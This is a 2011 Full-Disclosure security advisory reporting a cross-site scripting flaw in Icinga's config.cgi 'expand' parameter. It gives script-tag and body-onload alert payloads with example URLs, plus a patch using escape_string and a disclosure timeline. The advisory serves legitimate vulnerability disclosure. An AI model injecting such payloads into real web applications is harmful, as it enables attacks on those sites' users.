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Cross-Site Scripting vulnerability in Icinga
From: "sschurtz () t-online de" <sschurtz () t-online de>
Date: Wed, 01 Jun 2011 20:04:27 +0200
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory: Cross-Site Scripting vulnerability in Icinga Advisory ID: SSCHADV2011-005 Author: Stefan Schurtz Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0 Vendor URL: http://www.icinga.org Vendor Status: Resolved CVE-ID: - ========================== Vulnerability Description: ========================== This is a Cross-Site Scripting vulnerability ================== Technical Details: ================== No input validation for "expand" in config.c(gi) View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script> View Config -> Command Expansion -> To expand -> <body onload=alert(666)> or http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script> http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)> ========= Solution: ========= in config.c < printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);
printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD
CLASS='dataEven'>%s",escape_string(command_args[0])); This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information ==================== Disclosure Timeline: ==================== 01-Jun-2011 - informed developers 01-Jun-2011 - Release date of this security advisory 01-Jun-2011 - fixed - Target version: 1.4.1 01-Jun-2011 - post on BugTraq and Full-disclosure ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.icinga.org https://dev.icinga.org/issues/1605 http://www.rul3z.de/advisories/SSCHADV2011-005.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk3mfysACgkQg3svV2LcbMDLXACeNevilYfbrsXis3ANhDCdhNU2 SY0AniNII+tZMgfN52IFjGq0tiaiP+f4 =nqEo -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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- Cross-Site Scripting vulnerability in Icinga sschurtz () t-online de (Jun 01)